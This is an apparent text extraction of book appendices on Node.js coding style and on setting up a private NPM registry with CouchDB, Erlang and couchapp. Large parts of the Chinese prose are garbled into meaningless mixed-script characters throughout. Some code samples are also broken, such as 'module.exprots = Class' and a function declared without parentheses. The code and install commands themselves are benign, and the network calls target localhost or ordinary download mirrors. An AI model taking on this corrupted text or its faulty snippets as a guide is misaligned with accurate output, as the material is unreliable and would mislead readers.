ࣛ౎了一些新的ԪӐ，这些ᭉ要ल起我们ซ਒。本ᬃे是在঳ፆ了JavaScript的编ᆉ᜺ᔴ的۲ᆨ上，

಩૵Node的ྱ൳环境֖社区的习਄ᤈᛠஇᤈᏪ੆。 

ᬃे $ 
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C.2� 㓪ⷕ㾘㣗 

C.2.1� ぎḐϢḐᓣ 

1. 㓽䖯 
᧓用2个ቆಪ᎕ᤈ，Ꮺ不是tab᎕ᤈ。 ቆಪ在编ᣣ٧中与ߙቿ是ኍࠔ的，Ꮺtab可能因编ᣣ٧

的᝹Ꮅ不Վ。2个ቆಪ会ᝧ̼ᆉᄹ起౎ఝጊѓ、௙ঋ。 

2. ব䞣ໄᯢ 
බᤉ用varܥ௙Ԫ量，不加var时会࠱ФԪ੆КࡌԪ量，这样可能会਒外෉౿上下஠，੊是ᜁ

਒外෉౿。 在ECMAScript 5的strictഴय下，లܥ௙的Ԫ量࠱会ᄯ接ઊѢReferenceErrorऩ࣡。 

ᭉ要ឬ௙的是，ඇᛠܥ௙都应ឞࣛ上var，Ꮺ不是只有一个var，ᇧΒ̼ᆉݟ下Ὑ 

var assert = require('assert'); 

var fork = require('child_process').fork; 

var net = require('net'); 

var EventEmitter = require('events').EventEmitter; 

ᩱឧᇧΒݟ下੝ᇧὙ 

var assert = require('assert') 

  , fork = require('child_process').fork 

  , net = require('net') 

  , EventEmitter = require('events').EventEmitter; 

3. ぎḐ 
在ୱ作ቿ前后ᭉ要加ቆಪ，ඊݟ+、-、*、%、=ኍୱ作ቿ前后都应ឞߚ在一个ቆಪ，ᇧΒ 

 下Ὑݟ

var foo = 'bar' + baz; 

ᩱឧ的ᇧΒݟ下੝ᇧὙ 

var foo='bar'+baz; 

൤外，在小括Ձ前后应ឞߚ在ቆಪ，ݟὙ 

if (true) {  

  // some code  

} 

ᩱឧ的ᇧΒݟ下੝ᇧὙ 

if(true){ 

  // some code 

} 

4. ऩঠᓩোⱘՓ⫼ 
由于ԤलՁ在Ѿ的场景下使用ᣖ多，在Node中使用ߙቿ˘时ࡉ量使用ӬलՁ，这样௃ᭉᣀ 

 Ὑݟ，˦
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var html = '<a href="http://cnodejs.org">CNode</a>'; 

Ꮺ在JSON中，ːಪ的᜺ᔴ是要යߙቿ˘用ԤलՁ，内ࠓ中ѢဗԤलՁ时，ᭉ要ᣀ˦。 

5. ໻ᣀোⱘԡ㕂 
一ᓉ情х下，大括Ձ௃ᭉԲ起一ᛠ，ݟ 

if (true) { 

  // some code  

} 

ᩱឧ的ᇧΒݟ下Ὑ 

if (true) 

{ 

  // some code 

} 

6. 䗫ো 
᤮Ձ用于Ԫ量ܥ௙的分ᬥ੊是Њገ的分ᬥ。ݟ౦᤮Ձ不在ᛠፆࡊ，前᭦ᭉ要一个ቆಪ。൤外，

᤮Ձ不Љ᝴Ѣဗ在ᛠᯪ，ඊݟὙ var foo = 'hello', bar = 'world'; // ੊是 var hello = { foo: 

'hello', bar: 'world' }; // ੊是 var world = ['hello', 'world'];ᩱឧᇧΒݟ下Ὑ 

var foo = 'hello' 

  , bar = 'world'; 

// ई是 

var hello = {foo: 'hello' 

  , bar: 'world' 

}; 

// ई是 

var world = [ 

  'hello' 

  , 'world' 

]; 

 োߚ .7
ፋᛪ᣹यፆࡊຊ加分Ձ。ࡉ管JavaScript编ដ٧会自动ፋᛠࡊຊ加分Ձ，ͭ 还是会ࣛ౎一些ឧ

解，ᇧΒݟ下Ὑ 

function add() { 

  var a = 1, b = 2 

  return 

    a + b 

} 

 Ὑߔ下的样ݟϘ。因为自动加入分Ձ后会Ԫ੆ٿ会३到undefined的ᤄ࠱

function add() { 

  var a = 1, b = 2; 

  return; 

    a + b; 

} 

后续的a + b࠱不会੯ᛠ。 

Ꮺݟ下的̼ᆉὙ 
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x = y 

(function () { 

}()) 

੯ᛠ时会३到Ὑ 

x = y(function () {}()) 

由于自动ຊ加分Ձ可能ࣛ౎లᮔయ的ፆ౦，੝以ຊ加上分Ձ有ү于ᥗБឧ会。 

C.2.2� ੑৡ㾘㣗 

在编ᆉ过程中，֐Տ是᧗ܿ੅。好的֐Տ可以̼̽ᆉᠵ心৤目，ࣛ౎ਏ৤的阅读享ԩ，̼̽

ᆉХ有ᓡ好的可፤એ性。̽֐的˞要ᔴ႘有Ԫ量、࣡量、ழก、ዜ、஠͇、包ኍ。 

1. ব䞣ੑৡ 
Ԫ量Տ都᧓用小᯿ࢎय֐Տ，Ԁᬓ了ኃ一个Ӭជ的ᯪߙආ不大写外，ඇ个Ӭជ的ᯪߙආ都大

写，ជ与ជ之ᫍ没有͉ʹቿՁ，ݟὙ 

var adminUser = {}; 

ᩱឧ的ᇧΒݟ下Ὑ 

var admin_user = {}; 

2. ᮍ⊩ੑৡ 
ழก֐Տ与Ԫ量֐Տ一样，᧓用小᯿ࢎय֐Տ。与Ԫ量不Վ的是，ழกՏࡉ量᧓用动ជ੊ѻ

றᛠជ඼，ݟὙ 

var getUser = function () {}; 

var isAdmin = function () {}; 

User.prototype.getInfo = function () {}; 

ᩱឧᇧΒݟ下Ὑ 

var get_user = function () {}; 

var is_admin = function () {}; 

User.prototype.get_info = function () {}; 

3. ㉏ੑৡ 
ዜՏ᧓用大᯿ࢎय֐Տ，Ԁ੝有Ӭជ的ᯪߙආ都大写，ݟὙ 

function User { 

} 

4. ᐌ䞣ੑৡ 
作为࣡量时，Ӭជ的੝有ߙආ都大写，并用下Ѳ线分Ҟ，ݟὙ 

var PINK_COLOR = "pink"; 

5. ᭛ӊੑৡ 
౦你不ݟ。child_process.js֖string_decode.jsݟ量᧓用下Ѳ线分ҞӬជ，ඊࡉՏ஠͇时，请֐
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想࠱஠͇఑᭚ፋФ他用ਖ਼，可以ጝ定以下Ѳ线开ܿ，ݟ_linklist.js。 

6. ࣙৡ 
也᝴你有贡献ഴڰ并࠱Ф੩包发࣊到NPM上。在包Տ中，ࡉ量不要包դjs੊node的ߙ样，它

是᧗复的。包Տ应ॆ᤟ॆᆀ且有਒˦的，ݟὙ 

var express = require('express');  

C.2.3� ↨䕗᪡԰ 

在ඊᣖୱ作中，ݟ౦是௃ࠓॼ的场景，请ࡉ量使用===̼ఢ==，否Ѷ你会᥄到下᭦这样不ቿ

Ջ᤾ᣣ的ፆ౦Ὑ 

'0' == 0; // true 

'' == 0 // true 

'0' === '' // false 

൤外，ॆѻறࠓॼϛϘ时，可以௃ᭉ使用===੊==。在下᭦的̼ᆉ中，ॆfoo是0、undefined、

null、false、''时，都会ᤈ入分ஂὙ 

if (!foo) { 

  // some code 

} 

C.2.4� ᄫ䴶䞣 

请ࡉ量使用{}、[]̼ఢnew Object()、new Array()，不要使用string、bool、number对៵ዜ

 。Ԁ不要ុ用new String、new Boolean֖new Number，ۋ

C.2.5� ԰⫼ඳ 

在JavaScript中，ᭉ要ซ਒一个关᪃֖ߙ一个ழก，它们是with֖eval()，ࠓ௛ल起作用۪ຈ˼。 

1. ᜢ⫼with 
ᇧΒ̼ᆉݟ下Ὑ 

with (obj) { 

  foo = bar; 

} 

它的ፆ౦有可能是ݟ下ٽሗ之一Ὑobj.foo = obj.bar;、obj.foo = bar;、foo = bar;、foo = 

obj.bar;，这些ፆ౦Ԩ决于它的作用۪。ݟ౦作用۪ᩖ上没有࠭ᒰу቉的Ԫ量ߚ在，使用它Ѷ是

߶К的。ͭ在多人Ջ作的ᮉ目中，这并不ࠓ௛γ᝼，੝以要ਠ用with。 

2. ᜢ⫼eval() 
ਠ用eval()的ԓ因与with相Վ。ݟ౦不ॕֽ作用۪上已ߚ在的Ԫ量，用它是߶К的。Բ外，

ѽ用eval()的这个ྱ性，也可以ဓѢ一些好ဓ的ྱ性౎，ඊݟwind.jsѽ用它实ဗ了ึ程ଌ҃，ស

᜸ኃ4ብ。在大多数情х下，۲本上ᣂ不到eval()౎߸੆ྱ൳使֐。ᇧΒ̼ᆉݟ下Ὑ 
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var obj = { 

  foo: 'hello', 

  bar: 'world' 

}; 

var key = (Math.round(Math.random() * 100)  2 === 0) ? 'foo' : 'bar';%  

var value = eval('(obj.' + key + ')'); 

上ᤗ̼ᆉ多Ѣဗ在新੣中，实ᬄ只要ݟ下一ᛠ̼ᆉԀ可߸੆Ὑ 

var value = obj[key]; 

C.2.6� ᭄㒘Ϣᇍ䈵 

在JavaScript中，数组Ф实也是对៵，ͭ是ˏ者在使用时有些ጹᓫᭉ要ซ਒。 

1. ᄫ䴶䞣Ḑᓣ 
创त对៵੊者数组时，ซ਒在ፆࡊ用᤮Ձ分ᬥ。ݟ౦分ᛠ，一ᛠ只能一个Њገ，ᇧΒ̼ᆉݟ下Ὑ 

var foo = ['hello', 'world']; 

var bar = { 

  hello: 'world', 

  pretty: 'code' 

}; 

ᩱឧᇧΒݟ下੝ᇧὙ 

var foo = ['hello', 

'world']; 

var bar = { 

  hello: 'world', pretty: 'code' 

}; 

2. for inᕾ⦃ 
使用for in९环时，请对对៵使用，不要对数组使用，ᇧΒ̼ᆉݟ下Ὑ 

var foo = []; 

foo[100] = 100; 

for (var i in foo) { 

  console.log(i); 

} 

for (var i = 0; i < foo.length; i++) { 

  console.log(i); 

} 

在上ᤗ̼ᆉ中，ኃ一个९环只੩Ӿ一次，Ꮺኃ̃个९环Ѷ੩Ӿ0~100，这并不໗ᡛᮔయϘ。 

3. ϡ㽕ᡞ᭄㒘ᔧخᇍ䈵Փ⫼ 
 下੝ᇧὙݟ，管在JavaScript内部实ဗ中可以ઁ数组ॆ做对៵౎使用ࡉ

var foo = [1, 2, 3]; 

foo['hello'] = 'world'; 

这在for inᤕ̼时，会३到੝有ϘὙ 

for (var i in foo) { 

  console.log(foo[i]); 

} 
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也᝴你只是想३到helloᏪ已。 

C.2.7� ᓖℹ 

在Node中，ऩ൥使用᭣࣡广ค并且在实践过程中्੆了一些ጝ定，这是以ज़不డ在਒的ཁ。 

1. ᓖℹಲ䇗ߑ᭄ⱘ㄀一Ͼখ᭄ᑨ䆹ᰃ䫭䇃ᣛ⼎ 
ឞ部分内ࠓ在ኃ4ብ中有੝ଡԢ。并不是੝有ុٿѥ数都ᭉ要࠱ኃ一个ԟ数᝹᝟为ᩱឧ对៵。

ͭ是一ெ๗Ԣऩ൥，࠱会࠭ᒰtry catch௃ก૬ᖌ到ऩ൥ុٿయ的ऩ࣡。࠱ኃ一个ԟ数᝹᝟为ᩱ

ឧ对៵，նᅻុ用ழ是一个不ᩱ的ጝ定。ᇧΒ̼ᆉݟ下Ὑ 

function (err, data) { 

}; 

这个ጝ定ᜁ很多ึ程ଌ҃ं੝᧓用。ᥕ९这个ጝ定，可以享ԩ社区ึ程ଌ҃ंࣛ౎的ˉ务编

写Φѽ。 

2. ᠻ㸠Ӵܹⱘಲ䇗ߑ᭄ 
在ऩ൥ழก中一ெ有ុٿѥ数͛入，就一定要੯ᛠ它，且不能多次੯ᛠ。ݟ౦不੯ᛠ，可能

ᤴ੆ុ用一ᄯኍय़不ፆో，多次੯ᛠ也可能会ᤴ੆లయభ的ፆ౦。 

C.2.8� ㉏Ϣ῵ഫ 

关于ݟʹ在JavaScript中实ဗ继੽，有ՉሗՉ样的ழय，ͭ在Node中我们只推荐一ሗ，ᥦ

就是ዜ继੽的ழय。Բ外，在Node中，ݟ౦要࠱一个ዜ作为一个ഴڰ，就ᭉ要在਒它的࠭Ѣ 

ழय。 

1. ㉏㒻ᡓ 
一ᓉ情х下，我们᧓用Node推荐的ዜ继੽ழय，ᇧΒ̼ᆉݟ下Ὑ 

function Socket(options) { 

  // ... 

  stream.Stream.call(this); 

  // ... 

} 

 

util.inherits(Socket, stream.Stream); 

2. ᇐߎ 
੝有Θ外部ុ用的ழก੊Ԫ量ڨᭉેᣑ在exportsԪ量上。ॆ ᭉ要࠱஠͇ॆ做一个ዜ࠭Ѣ时，

ᭉ要᤯过ݟ下的ழयેᣑὙ 

module.exprots = Class; 

Ꮺ不是᤯过 

exports = Class; 

ሒ有ழก௃ᭉ因为测试ኍԓ因࠭Ѣፋ外部，੝以௃ᮋેᣑ。 
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C.2.9� ⊼㾷㾘㣗 

一ᓉ情х下，我们会对ඇ个ழก编写ซ᧕，这᧖᧓用dox的推荐ซ᧕，ᇧΒݟ下Ὑ 

/** 

 * Queries some records 

 * Examples: 

 * ``` 

 * query('SELECT * FROM table', function (err, data) { 

 * // some code 

 * }); 

 * ``` 

 * @param {String} sql Queries 

 * @param {Function} callback Callback 

 */ 

exports.query = function (sql, callback) { 

  // ... 

}; 

dox的ซ᧕᜺ᔴ源自于JSDoc。可以᤯过ซ᧕生੆对应的API஠ು。 

C.3� ᳔Շᅲ䏉 

ጹᒰ的编ᆉ᜺ᔴ有很多，有́ᝫ的也࠵，ͭ这并不᫽ᆽ我们੼到РՎཁ。 

C.3.1�  ॳ߭އさⱘ㾷ކ

౦你要贡献部分̼ᆉፋ౼个开源ᮉ目，Ꮺ它的编ᆉ᜺ᔴ与你并不相Վ，这ሗ情х下ᭉ要᧓ݟ

用入˸ᬣί的ԓѶ，ࡉ量ᥕ९开源ᮉ目本ᢵ的编ᆉ᜺ᔴᏪ不是自己的编ᆉ᜺ᔴ。 

C.3.2� 㒭㓪䕥఼䆒㕂Ẕ⌟Ꮉ݋ 

实ᬄ上，ဗ在的编ᣣ٧۲本上都可以᤯过߶ᜈଢ͇的ழय࠱JSLint੊者JSHint这样的̼ᆉ质

量ੲଠ工Хᬶ੆ᤈ开发环境中，这样编ᆉ߸੆后就可以Ԣ时३到ଡᇧ。 

在߶ᜈ好ଢ͇后，可以在ᮉ目中ᦠᎵ.jshintrc஠͇，ඇ，౦᧓用的是Sublime Text 2编ᣣ٧ݟ

次γߚ都会在编ᣣ٧中ଡᧇ不᜺ᔴ的信ো。 

 下是我౼个ᮉ目的.jshintrc஠͇，仅ΘԟᏥὙݟ

{ 

  "predef": [ 

    "document", 

    "module", 

    "require", 

    "__dirname", 

    "process", 

    "console", 

    "it", 

    "xit", 
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    "describe", 

    "xdescribe", 

    "before", 

    "beforeEach", 

    "after", 

    "afterEach" 

  ], 

  "node": true, 

  "es5": true, 

  "bitwise": true, 

  "curly": true, 

  "eqeqeq": true, 

  "forin": false, 

  "immed": true, 

  "latedef": true, 

  "newcap": false, 

  "noarg": true, 

  "noempty": true, 

  "nonew": true, 

  "plusplus": false, 

  "undef": true, 

  "strict": false, 

  "trailing": false, 

  "globalstrict": true, 

  "nonstandard": true, 

  "white": true, 

  "indent": 2, 

  "expr": true, 

  "multistr": true, 

  "onevar": false, 

  "unused": "vars", 

  "swindent": false 

} 

C.3.3� ⠜ᴀ᥻ࠊЁⱘhook 

Բ一ሗ最·实践是在ྟ本ଌ҃工Х中߸੆的。௃᝶SVN还是Git，都有precommit这样的ᨈߔ

脚本，᤯过在ଡ̓时实ဗ̼ᆉ质量的೜ಉ。ݟ౦质量不᣹ಕ，࠱Ϣൢଡ̓。 

C.3.4� ᣕ㓁䲚៤ 

૆续ᬶ੆包դˏ个ழ᭦Ὑ一ழ᭦̮是̼ᆉ质量的ੲଠ，可以ᤤસ定时ੲଠ，੊是触发यੲଠ὚

Բ一ழ᭦可以᤯过ᬶ中的ࣰԻ统᝟̼ᆉ质量的好ڭԪӐᡕ势。಩૵统᝟ፆ౦可以ѻ定ڃ᫲中的个

人对编ᆉ᜺ᔴ的੯ᛠ情х，决定用ࠔౚ的质量管ူழय还是ːಪ的ழय。 

C.4� ᘏ㒧 

̼ᆉ质量关˪产品的质量，最ࠓ௛இᤈ的ڠழԀ是编ᆉ᜺ᔴ，收஌也是最高的，它ᤉඊӬЊ
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测试要ࠓ௛̶ឰ实践。一ெڃ᫲҃定了编ᆉ᜺ᔴ，就应ឞːಪ੯ᛠ，ːಪ౉绝ڃ᫲中编ᆉ᜺ᔴપ

后ᒑ的ဗ៵。 

也᝴可以᧓用CoffeeScript的ழय౎ᥗБ编ᆉ᜺ᔴ的问题，ͭ是我相信在使用CoffeeScript之

前，了解这些᜺ᔴ会ఝ好ࣞڠү你ူ解CoffeeScript。 

管因为ԊԽԓ因ࡉ。౦你还᧓用᭣编ដयJavaScript౎编写你的应用，请᝭Ͱ这些编ᆉ᜺ᔴݟ

௃ก一൥到ͮஇᤈ这些Ꭴཁ，ͭ是௄ཨᅻ௳ʹ为优ሑ，ʹ为ጁዢ，就应ឞ࠱优ሑॆ做一ሗ习਄。 

C.5� খ㗗䌘⑤ 

本ᬃेԟᏥ的ᠪ源ݟ下Ὑ 

� http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml  

� http://caolanmcmahon.com/posts/nodejs_style_and_structure/ 

� http://nodeguide.com/style.html Felix’s Node.js  

� https://npmjs.org/doc/coding-style.html NPM  
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ᨁᓎሔඳNPMҧᑧ 

 

ኃ2ብଡ到了NPM，它由ဗ今Node的ଁ门人Isaac Z. Schlueter创त。最初，NPM与NodeՉ自

发ࡘ，在Node v0.6.3时，它੆为Node的一部分。NPM的Ѣဗ߸ؒ了Nodeഴڰ的ஞ个生খᩖ，ᝧ

ኃʻழഴڰఝ为௛用，ᝧΙᠺ管ူ੆为很ᣏౚࠓ௛的事情，Χᤈஞ个生খړᓡ性发ݟ。ࡘ今，在

GitHub上托管源̼ᆉ，在NPM上发࣊ഴڰ，在̼ᆉ中使用ኃʻழഴڰ包，这ʻ者्੆Node应用

的᫆环。这在开源社区中是极ऎึᛠ的ഴय。 

ͭ是在开源社区中极ऎ᤟Ջ的应用ഴय并不一定᤟Ջ一些͌ˉ内部。目前，在߽ழNPM上还

 。下几个ழ᭦ݟ在一些问题，˞要ͳဗ在ߚ

� ഴڰ质量ᓡᖁ不ᴎ。 

� ሒ有ഴڰγࠚ、Р享、߶ᜈ֖ఝ新的问题。 

� ྟ本ଌ҃ߚ在᮲ᬖ。 

� ഴڰ߶ᜈᤳऎ௃กγᬩ。 

对于͌ˉ应用Ꮺ言，它们ఝᄹ᧗ሶ定֖质量。社区中ഴڰ数量᭣࣡多，不˫很多优ሑ的ഴڰ，

ͭ是大部分ഴڰ的质量̮ཨ不Ջಪ，͌ˉ在使用时ᭉ要Ꮵ量Ф߶К性。 

对于͌ˉᏪ言，͌ ˉ自ᛠ编写的ഴڰѢ于γࠚኍᏥ量，௃ก࠱ഴڰ发࣊到МР的NPMࣰԻ上，

这对ሒ有ഴڰ的Р享、߶ᜈ֖ఝ新都ᤴ੆应用ࡎ᭦上的ڇ੷。 

NPMЉ᝴᤯过ຊ加--forceᤈᛠ强҃发ࡉ，࣊管它会发Ѣ᝜ն，ͭ是对于ଌ҃ా不在自己੣

中的ഴڰ，᜷ᄥ性发࣊可能ᤴ੆௃กᮔ஧的᮲ᬖ。ഴڰ可能在ˏ次߶ᜈ之ᫍྟ本Ձ相Վ，ͭ是内

 。Ф实已经不Վ了，这ࣛ౎的᮲ᬖ是相ॆ不可ଌ的ࠓ

Բ外，МРNPM̱ं是托管在Iris Couch的ࣰ̇Ի上，服务并没有对中国的网ፎ环境ᤈᛠ过

优Ӑ，డ经一ऎԩ到一些网ፎ环境ࣛ౎的ॕֽ，௃กγ᝼ሶ定性。 

上ᤗ这些ԓ因都Χ使͌ˉ应ॆ有自己的۪ࡌNPM̱ं。为൤，Node v0.10.0发࣊时，Isaac Z. 

Schlueterଡ到Iris Couch۲于ФᤁᖸNPMМР̱ं的经ᰍ，他们ڃ᫲为൤推Ѣ了irisnpm服务౎

ᤁᛠሒ有NPM̱ं。᤯过在irisnpmቢཁ上ซб可以ႁ请ឞ服务。ᬓ了使用irisnpm的服务外，

我们还可以自ᛠୃतNPM̱ं。自ᛠୃतNPM̱ं，可以实ဗ͌ˉ内部̱ं与社区МР̱ं

之ᫍ的ᬥሎ，一ழ᭦可以౉绝上ᤗ问题的发生，一ழ᭦可以享ԩNPM工Хࣛ౎生খᩖ的߸ஞ性

֖Φ૸性。 

在package.json中编写Ιᠺ，᤯过NPM工Х从ሒ有̱ं中߶ᜈഴڰ，自动߸੆Ιᠺഴڰ的߶

ᬃे % 
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ᜈ，这与使用开源社区的߽ழ̱ं一样Φѽ。ݟ౦没有ሒ有NPM̱ं，Р享ഴڰ的过程甚至会໥

Ԫ为复҃ዤ᠚的੣工活，̼ᆉ፤એ੆本႔高。 

D.1� NPMҧᑧⱘᅝ㺙 

NPM̱ं的源̼ᆉ托管在GitHub上，ڦڠ是Ὑhttp://github.com/isaacs/npmjs.org。相对于̽֐

ᛠ中੯ᛠ的NPM̽֐，NPM̱ं是ߚஉഴڰ的服务٧。 

NPM̱ं的᝹᝟۲于CouchDB实ဗ。CouchDB是一൛NoSQL数૵ं，۲于஠ು᝹᝟，它的

஠ುࣛ有ྟ本性质，Վ时఑᭚的HTTP RESTful接ԯӠ分好用，这与Node的ഴڰХ有ᣖ为相ͪ的

ྱ性。Isaac Z. Schlueterൣ是在这个۲ᆨ上Ꮵᘼ用它实ဗഴڰ的托管。有ᡙ的是，作为࣡ૅ౎与

Node在网ፎ并发ழ᭦ᤈᛠඊᣖ的Erlang语言，ᄹͪባ́者的关系，Ф实在൤ܪ是有̓ᬶ的。因为

CouchDB۲于Erlang写੆，ᏪNPM̱ं用它౎托管ഴڰ。 

NPM̱ं˞要由ˏ部分组੆，ͳဗ在源̼ᆉ中分Ѿ是www֖registry。www是NPMቢཁ的ႌ᭦，

registryѶ是ѽ用CouchDBߚϱഴڰ包஠͇֖ଡΘJSON API，᭦ՓNPMቢཁ֖NPM̽֐ᛠ工Х

服务。图D-1໥ᇧ了NPM的ፆౝ。 

 

图D-1 NPMፆౝ 

由于在CouchDB中ౝतWeb应用ᣖ为复杂，后౎Isaac Z. Schlueter᧗新ౝत了一个新的NPM

的Web应用，用౎ఢ̼CouchDBଡΘ的Web应用服务，ᝧCouchDB做ጥዱ的数૵托管并ଡΘHTTP 

RESTful服务。这个新的NPM Web应用就是图D-1中的new www应用，Ф源̼ᆉ在https://github. 

com/isaacs/npm-www中。 

D.1.1� ᅝ㺙Erlang੠CouchDB 

߶ᜈNPM̱ं੝Ιᠺ的环境ඊᣖ复杂，对于WindowsࣰԻᏪ言，可以੼到编ដ好的Erlang֖

CouchDB̃ᤈ҃ྟ本。对于Linux੊Mac用ਖ਼，这᧖ᭉ要ឬ௙一下。 

1. ᅝ㺙Erlang 
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߶ᜈErlang的ݟ̽֐下੝ᇧὙ 

$ wget http://www.erlang.org/download/otp_src_R15B01.tar.gz 

$ tar zxvf otp_src_R15B01.tar.gz 

$ cd otp_src_R15B01 

$ ./configure 

$ make & sudo make install 

в次᪃入下᭦的̽֐，೜ಉ是否߶ᜈ੆ҩὙ 

$ erl 

Erlang R15B01 (erts-5.9.1) [source] [smp:4:4] [async-threads:0] [hipe] [kernel-poll:false] 

 

Eshell V5.9.1  (abort with ^G) 

1>  

2. ᅝ㺙CouchDB 
在有Erlang环境的情х下，CouchDB才能ᜁ߶ᜈ。߶ᜈ൥ᰠᡱErlangࢿѾ不大，相关ݟ̽֐下Ὑ 

$ wget http://mirror.bit.edu.cn/apache/couchdb/releases/1.2.0/apache-couchdb-1.2.0.tar.gz 

$ tar zxvf apache-couchdb-1.2.0.tar.gz 

$ cd apache-couchdb-1.2.0 

$ ./configure --prefix=/home/admin/couchdb #੊୯ىಎ空间的ᅺ໎ǈ჋ስ๢ࢇ的目录 

$ make & sudo make install 

上ᤗᭉ要Ꮵᘼ的是ݟ౦̱ं中ߚ在大量ഴ࠱，ڰ会ӳ用ᣖ多的ᇒᄧቆᫍ，੝以៞ਠᤤસ要ߚ

உ的目े。在੯ᛠ./configure时᝹Ꮅ੊者߶ᜈ߸੆后᝹ᎵᦠᎵ஠͇。 

CouchDB的߶ᜈ还ᭉ要ΙᠺMozilla的SpiderMonkey౎੯ᛠ一些JavaScript̼ᆉ，它的߶ᜈ֐

 下Ὑݟ̽

$ wget http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz 

$ tar zxvf js185-1.0.0.tar.gz 

$ cd js-1.8.5/js 

$ autoconf-2.13 

$ ./configure 

$ make & make install 

3. ਃࡼCouchDB᳡ࡵ 
ը动CouchDB服务的ݟ̽֐下੝ᇧὙ 

$ sudo couchdb & 

$ curl -i http://127.0.0.1:5984/ #查看服务是否启动正确 

D.1.2� ᨁᓎNPMҧᑧ 

在前ᤗ工作就፛之后，我们就可以ୃतNPM̱ं了，这一൥ᭉ要CouchDB一ᄯը动作为服务。

ୃतNPM̱ं˞要包դݟ下5൥。 

(1) 创तNPM数૵ं。ᯪЎ，我们ᭉ要ុ用CouchDB的接ԯ为̱ं创त一个数૵ं，之后੝

有的ഴڰ包஠͇࠱作为ᬃ͇γߚ在这个数૵ं中。 

$ curl -X PUT http://127.0.0.1:5984/registry 
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{"ok":true} 

ᬓ൤之外，还ᭉ要ᖌԨNPM̱ं服务٧的源̼ᆉ。 

(2) ᖌԨNPM̱ं源̼ᆉ。相关ݟ̽֐下Ὑ 

$ git clone https://github.com/isaacs/npmjs.org.git 

$ cd npmjs.org 

(3) ᖌԨ߶ᜈ工Х。相关ݟ̽֐下Ὑ 

$ sudo npm install couchapp -g 

$ npm install couchapp 

$ npm install semver 

(4) ᜈᣑNPM̱ं̼ᆉ到CouchDB中。相关ݟ̽֐下Ὑ 

$ couchapp push registry/app.js http://127.0.0.1:5984/registry 

Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/_design/scratch 

Finished push. 1-4dd18325b8d8c5e60d1451904005414e 

$ couchapp push www/app.js http://127.0.0.1:5984/registry 

Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/_design/ui 

Finished push. 1-4357980d099a397591f54fc7bf1c469b 

上ᤗ൥ᰠ分Ѿ࠱registry̼ᆉ֖www下的̼ᆉஉᤈCouchDB的registryं中。一个本ڠ的NPM

̱ं就൤ୃत߸੆了。 

᝺问http://127.0.0.1:5984/registry/_design/ui/_rewrite，可以ᄹ到NPM̱ं的Web UIႌ᭦。 

᝺问http://127.0.0.1:5984/registry/_design/scratch/_rewrite，Ѷ对应的是JSON API服务。 

这ˏ个URLڦڠ相对Ꮺ言ඊᣖᬱ᝭Ͱ。可以在CouchDB前᭦౵᝹反Փ̼ူ，使३URLԪ३优

ᬵ，ඊݟhttp://search.npm.your_domain.com/֖http://registry.npm.your_domain.com/，这样可以ᬤᘨ

ᡸफ़֖端ԯ，有一个ࠓ௛᝭Ͱ的̃ጞ۪ՏԀ可。ᬓ൤之外，ఝஇCouchDB的ᦠᎵ，也可以᣹到这

个஌౦。 

⊼ᛣ � ᳭ᝢ߶ᜈCouchDBՐὋ͗࠱监ե127.0.0.1ᤇ˓ڦڠὋᤇ͗࠭ᒰԵ有ॆґ఺٧Ժ̾᝺᫇ 

    CouchDBనҫὋஇ˝0.0.0.0ѶԺ̾ᜁܰ部఺٧᝺᫇ҁ。 

� ᝺᫇http://127.0.0.1:5984/registry/_design/scratch/_rewrite࠱Ժᑞ३ҁinsecure_rewrite_  

    rule too many ../.. segmentsᤇ样的错误ὋνஇCouchDBᦠᎵ中的secure_rewrites 

    ˝falseԺ̾ᝌфឞ᫇ᮤ。 

(5) ᦠՋNPM客ਖ਼端。͉ ਒ᭉ要从本ڠNPM̱ंᤈᛠୱ作的̽֐，只要加入--registry=http: 

//127.0.0.1:5984/registry/_design/scratch/_rewriteԀ可。ඊݟὙ 

$ npm install plusplus --registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite 
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为了解决̽֐ᛠ过᫁不ࠓ௛ྩ᝭的问题，可以使用ݟ下ழกὙ 

$ npm config set registry http://127.0.0.1:5984/registry/_design/scratch/_rewrite 

这个ழก的一个问题在于，ݟ౦经࣡ᭉ要在߽ழ̱ं֖本ं̱ڠѬ૰，ᥦ就ඊᣖ᳣ཐ。为൤，

我们可以ѽ用bash中的aliasҩ能౎解决这个问题。在~/.bashrc੊~/.profile஠͇的ፆܪࡊຊ加ݟ

下这ᛠ̼ᆉὙ 

alias lnpm='npm --registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite'  

᧗新ը动̽֐ᛠ，npmୱ作的是߽ழ̱ं，lnpmୱ作的Ѷ是本ं̱ڠ。Ф余ԟ数֖ڨ̽֐相Վ。 

D.2� 催䰊ᑨ⫼ 

在上ᤗ过程中，我们߸੆了一个NPM̱ं的ୃत。我们可以࠱这个本ं̱ڠ用作᪪像̱ं，

也可以用作自己К新的̱ं。 

D.2.1� 䬰ڣҧᑧ 

᪪像̱ं，߸К是߽ழ̱ं的一个᪪像ڦڠ，我们可以᤯过Վ൥的ழय߽࠱ழМР̱ं中的

ഴڰ包߸КՎ൥到᪪像̱ं中౎。᪪像̱ं可以解决߶ᜈ过程中的ᤳऎ问题，ሶ定性可以३到γ

ᬩ。ͭ 是一个新的问题是要ᡱ߽ழМР̱ंγ૆Վ൥，否Ѷ̱ं中会Ѣဗᖿ后于߽ழഴڰ的情х。 

由于NPM̱ं实质上就是一个CouchDB数૵ं，Վ൥߽ழ̱ं到᪪像̱ंФ实就是对߽ழ数

૵ं的复҃。这个复҃过程可以᧓用CouchDB自己的复҃ҩ能߸੆，它的实质是ܘ量Վ൥的ҩ能。

我࠼试过很多次，由于网ፎ问题，ஞͳ的复҃性能Ӡ分ͯ஌。Node社区的Mikeal Rogers（request

ഴڰ的作者、NodeConf大会组织者）写了一个replicateഴڰ用౎ᤈᛠՎ൥工作。ឞഴڰ的߶ᜈ

 下Ὑݟ̽֐

$ [sudo] npm install -g replicate 

下᭦的̽֐可以实ဗ从目ಕCouchDBंՎ൥஠ು到Բ一个CouchDBं中。对于МР̱ंᏪ

言，它的ڦڠ是Ὑhttp://isaacs.iriscouch.com/registry/。它的ԓူ是ុ用CouchDB的/_changes接ԯ，

